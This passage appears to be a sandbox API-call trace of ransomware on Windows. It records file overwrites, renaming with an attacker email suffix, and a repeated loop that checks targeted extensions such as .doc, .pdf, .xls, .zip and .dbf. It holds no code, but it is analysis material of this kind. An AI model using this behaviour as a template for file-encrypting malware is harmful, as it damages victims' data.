	[0081.430] ReadFile (in: hFile=0x390, lpBuffer=0x3a34058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2e9fc30, lpOverlapped=0x0 | out: lpBuffer=0x3a34058*, lpNumberOfBytesRead=0x2e9fc30*=0x40000, lpOverlapped=0x0) returned 1
	[0081.759] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e9fec0 | out: lpNewFilePointer=0x0) returned 1
	[0081.759] WriteFile (in: hFile=0x390, lpBuffer=0x39b4020*, nNumberOfBytesToWrite=0xc0112, lpNumberOfBytesWritten=0x2e9fca8, lpOverlapped=0x0 | out: lpBuffer=0x39b4020*, lpNumberOfBytesWritten=0x2e9fca8*=0xc0112, lpOverlapped=0x0) returned 1
	[0081.779] SetEndOfFile (hFile=0x390) returned 1
	[0081.779] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x40000) returned 0x42639c0
	[0081.786] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e9fc74 | out: lpNewFilePointer=0x0) returned 1
	[0081.786] WriteFile (in: hFile=0x390, lpBuffer=0x42639c0*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2e9fc80, lpOverlapped=0x0 | out: lpBuffer=0x42639c0*, lpNumberOfBytesWritten=0x2e9fc80*=0x40000, lpOverlapped=0x0) returned 1
	[0081.788] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x1e5acd, lpNewFilePointer=0x0, dwMoveMethod=0x2e9fc74 | out: lpNewFilePointer=0x0) returned 1
	[0081.788] WriteFile (in: hFile=0x390, lpBuffer=0x42639c0*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2e9fc80, lpOverlapped=0x0 | out: lpBuffer=0x42639c0*, lpNumberOfBytesWritten=0x2e9fc80*=0x40000, lpOverlapped=0x0) returned 1
	[0081.793] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x571068, lpNewFilePointer=0x0, dwMoveMethod=0x2e9fc74 | out: lpNewFilePointer=0x0) returned 1
	[0081.793] WriteFile (in: hFile=0x390, lpBuffer=0x42639c0*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2e9fc80, lpOverlapped=0x0 | out: lpBuffer=0x42639c0*, lpNumberOfBytesWritten=0x2e9fc80*=0x40000, lpOverlapped=0x0) returned 1
	[0081.795] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x42639c0 | out: hHeap=0x4f0000) returned 1
	[0081.797] CloseHandle (hObject=0x390) returned 1
	[0083.323] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeC2RClient.exe.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x20) returned 1
	[0083.323] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeC2RClient.exe") returned 77
	[0083.323] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeC2RClient.exe") returned 77
	[0083.323] lstrlenW (lpString=".doc") returned 4
	[0083.323] lstrcmpiW (lpString1=".doc", lpString2=".exe") returned -1
	[0083.323] lstrlenW (lpString=".docx") returned 5
	[0083.323] lstrcmpiW (lpString1=".docx", lpString2="t.exe") returned -1
	[0083.323] lstrlenW (lpString=".pdf") returned 4
	[0083.323] lstrcmpiW (lpString1=".pdf", lpString2=".exe") returned 1
	[0083.323] lstrlenW (lpString=".xls") returned 4
	[0083.323] lstrcmpiW (lpString1=".xls", lpString2=".exe") returned 1
	[0083.323] lstrlenW (lpString=".xlsx") returned 5
	[0083.323] lstrcmpiW (lpString1=".xlsx", lpString2="t.exe") returned -1
	[0083.324] lstrlenW (lpString=".ppt") returned 4
	[0083.324] lstrcmpiW (lpString1=".ppt", lpString2=".exe") returned 1
	[0083.324] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeC2RClient.exe") returned 77
	[0083.324] lstrlenW (lpString=".zip") returned 4
	[0083.324] lstrcmpiW (lpString1=".zip", lpString2=".exe") returned 1
	[0083.324] lstrlenW (lpString=".rar") returned 4
	[0083.324] lstrcmpiW (lpString1=".rar", lpString2=".exe") returned 1
	[0083.324] lstrlenW (lpString=".bz2") returned 4
	[0083.324] lstrcmpiW (lpString1=".bz2", lpString2=".exe") returned -1
	[0083.324] lstrlenW (lpString=".7z") returned 3
	[0083.324] lstrcmpiW (lpString1=".7z", lpString2="exe") returned -1
	[0083.324] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeC2RClient.exe") returned 77
	[0083.324] lstrlenW (lpString=".dbf") returned 4
	[0083.324] lstrcmpiW (lpString1=".dbf", lpString2=".exe") returned -1
	[0083.324] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeC2RClient.exe") returned 77
	[0083.324] lstrlenW (lpString=".1cd") returned 4
	[0083.324] lstrcmpiW (lpString1=".1cd", lpString2=".exe") returned -1
	[0083.324] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeC2RClient.exe") returned 77
	[0083.324] lstrlenW (lpString=".jpg") returned 4
	[0083.324] lstrcmpiW (lpString1=".jpg", lpString2=".exe") returned 1
	[0083.324] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeC2RClient.exe") returned 77
	[0083.324] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeC2RClient.exe") returned 77
	[0083.324] lstrlenW (lpString=".doc") returned 4
	[0083.324] lstrcmpiW (lpString1=".doc", lpString2=".exe") returned -1
	[0083.324] lstrlenW (lpString=".docx") returned 5
	[0083.324] lstrcmpiW (lpString1=".docx", lpString2="t.exe") returned -1
	[0083.324] lstrlenW (lpString=".pdf") returned 4
	[0083.324] lstrcmpiW (lpString1=".pdf", lpString2=".exe") returned 1
	[0083.324] lstrlenW (lpString=".xls") returned 4
	[0083.324] lstrcmpiW (lpString1=".xls", lpString2=".exe") returned 1
	[0083.324] lstrlenW (lpString=".xlsx") returned 5
	[0083.324] lstrcmpiW (lpString1=".xlsx", lpString2="t.exe") returned -1
	[0083.324] lstrlenW (lpString=".ppt") returned 4
	[0083.325] lstrcmpiW (lpString1=".ppt", lpString2=".exe") returned 1
	[0083.325] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeC2RClient.exe") returned 77
	[0083.325] lstrlenW (lpString=".zip") returned 4
	[0083.325] lstrcmpiW (lpString1=".zip", lpString2=".exe") returned 1
	[0083.325] lstrlenW (lpString=".rar") returned 4
	[0083.325] lstrcmpiW (lpString1=".rar", lpString2=".exe") returned 1
	[0083.325] lstrlenW (lpString=".bz2") returned 4
	[0083.325] lstrcmpiW (lpString1=".bz2", lpString2=".exe") returned -1
	[0083.325] lstrlenW (lpString=".7z") returned 3
	[0083.325] lstrcmpiW (lpString1=".7z", lpString2="exe") returned -1
	[0083.325] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeC2RClient.exe") returned 77
	[0083.325] lstrlenW (lpString=".dbf") returned 4
	[0083.325] lstrcmpiW (lpString1=".dbf", lpString2=".exe") returned -1
	[0083.325] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeC2RClient.exe") returned 77
	[0083.325] lstrlenW (lpString=".1cd") returned 4
	[0083.325] lstrcmpiW (lpString1=".1cd", lpString2=".exe") returned -1
	[0083.325] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeC2RClient.exe") returned 77
	[0083.325] lstrlenW (lpString=".jpg") returned 4
	[0083.325] lstrcmpiW (lpString1=".jpg", lpString2=".exe") returned 1
	[0083.325] lstrcmpiW (lpString1=".tlb", lpString2=".html") returned 1
	[0083.325] lstrlenW (lpString="msado26.tlb") returned 11
	[0083.325] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\ado\\msado26.tlb" (normalized: "c:\\program files\\common files\\system\\ado\\msado26.tlb"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390
	[0083.326] GetFileSizeEx (in: hFile=0x390, lpFileSize=0x2e9ff14 | out: lpFileSize=0x2e9ff14*=70656) returned 1
	[0083.326] CloseHandle (hObject=0x390) returned 1
	[0083.326] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\System\\ado\\msado26.tlb" (normalized: "c:\\program files\\common files\\system\\ado\\msado26.tlb")) returned 0x20
	[0083.326] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\System\\ado\\msado26.tlb.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\common files\\system\\ado\\msado26.tlb.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0083.326] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\ado\\msado26.tlb" (normalized: "c:\\program files\\common files\\system\\ado\\msado26.tlb"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0083.326] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\msado26.tlb") returned 52
	[0083.326] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\msado26.tlb") returned 52
	[0083.326] lstrlenW (lpString=".doc") returned 4
	[0083.327] lstrcmpiW (lpString1=".doc", lpString2=".tlb") returned -1
	[0083.327] lstrlenW (lpString=".docx") returned 5
	[0083.327] lstrcmpiW (lpString1=".docx", lpString2="6.tlb") returned -1
	[0083.327] lstrlenW (lpString=".pdf") returned 4
	[0083.327] lstrcmpiW (lpString1=".pdf", lpString2=".tlb") returned -1
	[0083.327] lstrlenW (lpString=".xls") returned 4
	[0083.327] lstrcmpiW (lpString1=".xls", lpString2=".tlb") returned 1
	[0083.327] lstrlenW (lpString=".xlsx") returned 5
	[0083.327] lstrcmpiW (lpString1=".xlsx", lpString2="6.tlb") returned -1
	[0083.327] lstrlenW (lpString=".ppt") returned 4
	[0083.327] lstrcmpiW (lpString1=".ppt", lpString2=".tlb") returned -1
	[0083.327] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\msado26.tlb") returned 52
	[0083.327] lstrlenW (lpString=".zip") returned 4
	[0083.327] lstrcmpiW (lpString1=".zip", lpString2=".tlb") returned 1
	[0083.327] lstrlenW (lpString=".rar") returned 4
	[0083.327] lstrcmpiW (lpString1=".rar", lpString2=".tlb") returned -1
	[0083.327] lstrlenW (lpString=".bz2") returned 4
	[0083.327] lstrcmpiW (lpString1=".bz2", lpString2=".tlb") returned -1
	[0083.327] lstrlenW (lpString=".7z") returned 3
	[0083.327] lstrcmpiW (lpString1=".7z", lpString2="tlb") returned -1
	[0083.327] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\msado26.tlb") returned 52
	[0083.327] lstrlenW (lpString=".dbf") returned 4
	[0083.327] lstrcmpiW (lpString1=".dbf", lpString2=".tlb") returned -1
	[0083.327] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\msado26.tlb") returned 52
	[0083.327] lstrlenW (lpString=".1cd") returned 4
	[0083.327] lstrcmpiW (lpString1=".1cd", lpString2=".tlb") returned -1
	[0083.327] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\msado26.tlb") returned 52
	[0083.327] lstrlenW (lpString=".jpg") returned 4
	[0083.327] lstrcmpiW (lpString1=".jpg", lpString2=".tlb") returned -1
	[0083.327] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\msado26.tlb") returned 52
	[0083.327] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\msado26.tlb") returned 52
	[0083.328] lstrlenW (lpString=".doc") returned 4
	[0083.328] lstrcmpiW (lpString1=".doc", lpString2=".tlb") returned -1
	[0083.328] lstrlenW (lpString=".docx") returned 5
	[0083.328] lstrcmpiW (lpString1=".docx", lpString2="6.tlb") returned -1
	[0083.328] lstrlenW (lpString=".pdf") returned 4
	[0083.328] lstrcmpiW (lpString1=".pdf", lpString2=".tlb") returned -1
	[0083.328] lstrlenW (lpString=".xls") returned 4
	[0083.328] lstrcmpiW (lpString1=".xls", lpString2=".tlb") returned 1
	[0083.328] lstrlenW (lpString=".xlsx") returned 5
	[0083.328] lstrcmpiW (lpString1=".xlsx", lpString2="6.tlb") returned -1
	[0083.328] lstrlenW (lpString=".ppt") returned 4
	[0083.328] lstrcmpiW (lpString1=".ppt", lpString2=".tlb") returned -1
	[0083.328] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\msado26.tlb") returned 52
	[0083.328] lstrlenW (lpString=".zip") returned 4
	[0083.328] lstrcmpiW (lpString1=".zip", lpString2=".tlb") returned 1
	[0083.328] lstrlenW (lpString=".rar") returned 4
	[0083.328] lstrcmpiW (lpString1=".rar", lpString2=".tlb") returned -1
	[0083.328] lstrlenW (lpString=".bz2") returned 4
	[0083.328] lstrcmpiW (lpString1=".bz2", lpString2=".tlb") returned -1
	[0083.328] lstrlenW (lpString=".7z") returned 3
	[0083.328] lstrcmpiW (lpString1=".7z", lpString2="tlb") returned -1
	[0083.328] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\msado26.tlb") returned 52
	[0083.328] lstrlenW (lpString=".dbf") returned 4
	[0083.328] lstrcmpiW (lpString1=".dbf", lpString2=".tlb") returned -1
	[0083.328] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\msado26.tlb") returned 52
	[0083.328] lstrlenW (lpString=".1cd") returned 4
	[0083.328] lstrcmpiW (lpString1=".1cd", lpString2=".tlb") returned -1
	[0083.328] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\msado26.tlb") returned 52
	[0083.328] lstrlenW (lpString=".jpg") returned 4
	[0083.328] lstrcmpiW (lpString1=".jpg", lpString2=".tlb") returned -1
	[0083.329] lstrcmpiW (lpString1=".tlb", lpString2=".html") returned 1
	[0083.329] lstrlenW (lpString="msado27.tlb") returned 11
	[0083.329] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\ado\\msado27.tlb" (normalized: "c:\\program files\\common files\\system\\ado\\msado27.tlb"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390
	[0083.330] GetFileSizeEx (in: hFile=0x390, lpFileSize=0x2e9ff14 | out: lpFileSize=0x2e9ff14*=71168) returned 1
	[0083.330] CloseHandle (hObject=0x390) returned 1
	[0083.330] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\System\\ado\\msado27.tlb" (normalized: "c:\\program files\\common files\\system\\ado\\msado27.tlb")) returned 0x20
	[0083.330] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\System\\ado\\msado27.tlb.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\common files\\system\\ado\\msado27.tlb.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0083.330] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\ado\\msado27.tlb" (normalized: "c:\\program files\\common files\\system\\ado\\msado27.tlb"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0083.330] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\msado27.tlb") returned 52
	[0083.331] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\msado27.tlb") returned 52
	[0083.331] lstrlenW (lpString=".doc") returned 4
	[0083.331] lstrcmpiW (lpString1=".doc", lpString2=".tlb") returned -1
	[0083.331] lstrlenW (lpString=".docx") returned 5
	[0083.331] lstrcmpiW (lpString1=".docx", lpString2="7.tlb") returned -1
	[0083.331] lstrlenW (lpString=".pdf") returned 4
	[0083.331] lstrcmpiW (lpString1=".pdf", lpString2=".tlb") returned -1
	[0083.331] lstrlenW (lpString=".xls") returned 4
	[0083.331] lstrcmpiW (lpString1=".xls", lpString2=".tlb") returned 1
	[0083.331] lstrlenW (lpString=".xlsx") returned 5
	[0083.331] lstrcmpiW (lpString1=".xlsx", lpString2="7.tlb") returned -1
	[0083.331] lstrlenW (lpString=".ppt") returned 4
	[0083.331] lstrcmpiW (lpString1=".ppt", lpString2=".tlb") returned -1
	[0083.331] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\msado27.tlb") returned 52
	[0083.331] lstrlenW (lpString=".zip") returned 4
	[0083.331] lstrcmpiW (lpString1=".zip", lpString2=".tlb") returned 1
	[0083.331] lstrlenW (lpString=".rar") returned 4
	[0083.331] lstrcmpiW (lpString1=".rar", lpString2=".tlb") returned -1
	[0083.331] lstrlenW (lpString=".bz2") returned 4
	[0083.331] lstrcmpiW (lpString1=".bz2", lpString2=".tlb") returned -1
	[0083.331] lstrlenW (lpString=".7z") returned 3
	[0083.331] lstrcmpiW (lpString1=".7z", lpString2="tlb") returned -1
	[0083.331] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\msado27.tlb") returned 52
	[0083.331] lstrlenW (lpString=".dbf") returned 4
	[0083.331] lstrcmpiW (lpString1=".dbf", lpString2=".tlb") returned -1
	[0083.331] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\msado27.tlb") returned 52
	[0083.331] lstrlenW (lpString=".1cd") returned 4
	[0083.331] lstrcmpiW (lpString1=".1cd", lpString2=".tlb") returned -1
	[0083.331] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\msado27.tlb") returned 52
	[0083.331] lstrlenW (lpString=".jpg") returned 4
	[0083.331] lstrcmpiW (lpString1=".jpg", lpString2=".tlb") returned -1
	[0083.331] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\msado27.tlb") returned 52
	[0083.332] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\msado27.tlb") returned 52
	[0083.332] lstrlenW (lpString=".doc") returned 4
	[0083.332] lstrcmpiW (lpString1=".doc", lpString2=".tlb") returned -1
	[0083.332] lstrlenW (lpString=".docx") returned 5
	[0083.332] lstrcmpiW (lpString1=".docx", lpString2="7.tlb") returned -1
	[0083.332] lstrlenW (lpString=".pdf") returned 4
	[0083.332] lstrcmpiW (lpString1=".pdf", lpString2=".tlb") returned -1
	[0083.332] lstrlenW (lpString=".xls") returned 4
	[0083.332] lstrcmpiW (lpString1=".xls", lpString2=".tlb") returned 1
	[0083.332] lstrlenW (lpString=".xlsx") returned 5
	[0083.332] lstrcmpiW (lpString1=".xlsx", lpString2="7.tlb") returned -1
	[0083.332] lstrlenW (lpString=".ppt") returned 4
	[0083.332] lstrcmpiW (lpString1=".ppt", lpString2=".tlb") returned -1
	[0083.332] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\msado27.tlb") returned 52
	[0083.332] lstrlenW (lpString=".zip") returned 4
	[0083.332] lstrcmpiW (lpString1=".zip", lpString2=".tlb") returned 1
	[0083.332] lstrlenW (lpString=".rar") returned 4
	[0083.332] lstrcmpiW (lpString1=".rar", lpString2=".tlb") returned -1
	[0083.332] lstrlenW (lpString=".bz2") returned 4
	[0083.332] lstrcmpiW (lpString1=".bz2", lpString2=".tlb") returned -1
	[0083.332] lstrlenW (lpString=".7z") returned 3
	[0083.332] lstrcmpiW (lpString1=".7z", lpString2="tlb") returned -1
	[0083.332] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\msado27.tlb") returned 52
	[0083.332] lstrlenW (lpString=".dbf") returned 4
	[0083.332] lstrcmpiW (lpString1=".dbf", lpString2=".tlb") returned -1
	[0083.332] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\msado27.tlb") returned 52
	[0083.332] lstrlenW (lpString=".1cd") returned 4
	[0083.332] lstrcmpiW (lpString1=".1cd", lpString2=".tlb") returned -1
	[0083.332] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\msado27.tlb") returned 52
	[0083.332] lstrlenW (lpString=".jpg") returned 4
	[0083.332] lstrcmpiW (lpString1=".jpg", lpString2=".tlb") returned -1
	[0083.333] lstrcmpiW (lpString1=".tlb", lpString2=".html") returned 1
	[0083.333] lstrlenW (lpString="msado28.tlb") returned 11
	[0083.333] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\ado\\msado28.tlb" (normalized: "c:\\program files\\common files\\system\\ado\\msado28.tlb"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390
	[0083.333] GetFileSizeEx (in: hFile=0x390, lpFileSize=0x2e9ff14 | out: lpFileSize=0x2e9ff14*=70656) returned 1
	[0083.333] CloseHandle (hObject=0x390) returned 1
	[0083.333] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\System\\ado\\msado28.tlb" (normalized: "c:\\program files\\common files\\system\\ado\\msado28.tlb")) returned 0x20
	[0083.333] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\System\\ado\\msado28.tlb.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\common files\\system\\ado\\msado28.tlb.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0083.333] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\ado\\msado28.tlb" (normalized: "c:\\program files\\common files\\system\\ado\\msado28.tlb"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0083.333] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\msado28.tlb") returned 52
	[0083.333] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\msado28.tlb") returned 52
	[0083.333] lstrlenW (lpString=".doc") returned 4
	[0083.333] lstrcmpiW (lpString1=".doc", lpString2=".tlb") returned -1
	[0083.333] lstrlenW (lpString=".docx") returned 5
	[0083.333] lstrcmpiW (lpString1=".docx", lpString2="8.tlb") returned -1
	[0083.334] lstrlenW (lpString=".pdf") returned 4
	[0083.334] lstrcmpiW (lpString1=".pdf", lpString2=".tlb") returned -1
	[0083.334] lstrlenW (lpString=".xls") returned 4
	[0083.334] lstrcmpiW (lpString1=".xls", lpString2=".tlb") returned 1
	[0083.334] lstrlenW (lpString=".xlsx") returned 5
	[0083.334] lstrcmpiW (lpString1=".xlsx", lpString2="8.tlb") returned -1
	[0083.334] lstrlenW (lpString=".ppt") returned 4
	[0083.334] lstrcmpiW (lpString1=".ppt", lpString2=".tlb") returned -1
	[0083.334] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\msado28.tlb") returned 52
	[0083.334] lstrlenW (lpString=".zip") returned 4
	[0083.334] lstrcmpiW (lpString1=".zip", lpString2=".tlb") returned 1
	[0083.334] lstrlenW (lpString=".rar") returned 4
	[0083.334] lstrcmpiW (lpString1=".rar", lpString2=".tlb") returned -1
	[0083.334] lstrlenW (lpString=".bz2") returned 4
	[0083.334] lstrcmpiW (lpString1=".bz2", lpString2=".tlb") returned -1
	[0083.334] lstrlenW (lpString=".7z") returned 3
	[0083.334] lstrcmpiW (lpString1=".7z", lpString2="tlb") returned -1
	[0083.334] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\msado28.tlb") returned 52
	[0083.334] lstrlenW (lpString=".dbf") returned 4
	[0083.334] lstrcmpiW (lpString1=".dbf", lpString2=".tlb") returned -1
	[0083.334] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\msado28.tlb") returned 52
	[0083.334] lstrlenW (lpString=".1cd") returned 4
	[0083.334] lstrcmpiW (lpString1=".1cd", lpString2=".tlb") returned -1
	[0083.334] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\msado28.tlb") returned 52
	[0083.334] lstrlenW (lpString=".jpg") returned 4
	[0083.334] lstrcmpiW (lpString1=".jpg", lpString2=".tlb") returned -1
	[0083.334] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\msado28.tlb") returned 52
	[0083.334] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\msado28.tlb") returned 52
	[0083.334] lstrlenW (lpString=".doc") returned 4
	[0083.334] lstrcmpiW (lpString1=".doc", lpString2=".tlb") returned -1
	[0083.334] lstrlenW (lpString=".docx") returned 5
	[0083.334] lstrcmpiW (lpString1=".docx", lpString2="8.tlb") returned -1
	[0083.334] lstrlenW (lpString=".pdf") returned 4
	[0083.334] lstrcmpiW (lpString1=".pdf", lpString2=".tlb") returned -1
	[0083.335] lstrlenW (lpString=".xls") returned 4
	[0083.335] lstrcmpiW (lpString1=".xls", lpString2=".tlb") returned 1
	[0083.335] lstrlenW (lpString=".xlsx") returned 5
	[0083.335] lstrcmpiW (lpString1=".xlsx", lpString2="8.tlb") returned -1
	[0083.335] lstrlenW (lpString=".ppt") returned 4
	[0083.335] lstrcmpiW (lpString1=".ppt", lpString2=".tlb") returned -1
	[0083.335] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\msado28.tlb") returned 52
	[0083.335] lstrlenW (lpString=".zip") returned 4
	[0083.335] lstrcmpiW (lpString1=".zip", lpString2=".tlb") returned 1
	[0083.335] lstrlenW (lpString=".rar") returned 4
	[0083.335] lstrcmpiW (lpString1=".rar", lpString2=".tlb") returned -1
	[0083.335] lstrlenW (lpString=".bz2") returned 4
	[0083.335] lstrcmpiW (lpString1=".bz2", lpString2=".tlb") returned -1
	[0083.335] lstrlenW (lpString=".7z") returned 3
	[0083.335] lstrcmpiW (lpString1=".7z", lpString2="tlb") returned -1
	[0083.335] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\msado28.tlb") returned 52
	[0083.335] lstrlenW (lpString=".dbf") returned 4
	[0083.335] lstrcmpiW (lpString1=".dbf", lpString2=".tlb") returned -1
	[0083.335] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\msado28.tlb") returned 52
	[0083.335] lstrlenW (lpString=".1cd") returned 4
	[0083.335] lstrcmpiW (lpString1=".1cd", lpString2=".tlb") returned -1
	[0083.335] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\msado28.tlb") returned 52
	[0083.335] lstrlenW (lpString=".jpg") returned 4
	[0083.335] lstrcmpiW (lpString1=".jpg", lpString2=".tlb") returned -1
	[0083.335] lstrcmpiW (lpString1=".tlb", lpString2=".html") returned 1
	[0083.335] lstrlenW (lpString="msado60.tlb") returned 11
	[0083.335] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\ado\\msado60.tlb" (normalized: "c:\\program files\\common files\\system\\ado\\msado60.tlb"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390
	[0083.338] GetFileSizeEx (in: hFile=0x390, lpFileSize=0x2e9ff14 | out: lpFileSize=0x2e9ff14*=70656) returned 1
	[0083.338] CloseHandle (hObject=0x390) returned 1
	[0083.338] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\System\\ado\\msado60.tlb" (normalized: "c:\\program files\\common files\\system\\ado\\msado60.tlb")) returned 0x20
	[0083.338] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\System\\ado\\msado60.tlb.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\common files\\system\\ado\\msado60.tlb.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0083.338] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\ado\\msado60.tlb" (normalized: "c:\\program files\\common files\\system\\ado\\msado60.tlb"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0083.338] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\msado60.tlb") returned 52
	[0083.338] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\msado60.tlb") returned 52
	[0083.338] lstrlenW (lpString=".doc") returned 4
	[0083.338] lstrcmpiW (lpString1=".doc", lpString2=".tlb") returned -1
	[0083.338] lstrlenW (lpString=".docx") returned 5
	[0083.338] lstrcmpiW (lpString1=".docx", lpString2="0.tlb") returned -1
	[0083.338] lstrlenW (lpString=".pdf") returned 4
	[0083.338] lstrcmpiW (lpString1=".pdf", lpString2=".tlb") returned -1
	[0083.338] lstrlenW (lpString=".xls") returned 4
	[0083.338] lstrcmpiW (lpString1=".xls", lpString2=".tlb") returned 1
	[0083.338] lstrlenW (lpString=".xlsx") returned 5
	[0083.339] lstrcmpiW (lpString1=".xlsx", lpString2="0.tlb") returned -1
	[0083.339] lstrlenW (lpString=".ppt") returned 4
	[0083.339] lstrcmpiW (lpString1=".ppt", lpString2=".tlb") returned -1
	[0083.339] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\msado60.tlb") returned 52
	[0083.339] lstrlenW (lpString=".zip") returned 4
	[0083.339] lstrcmpiW (lpString1=".zip", lpString2=".tlb") returned 1
	[0083.339] lstrlenW (lpString=".rar") returned 4
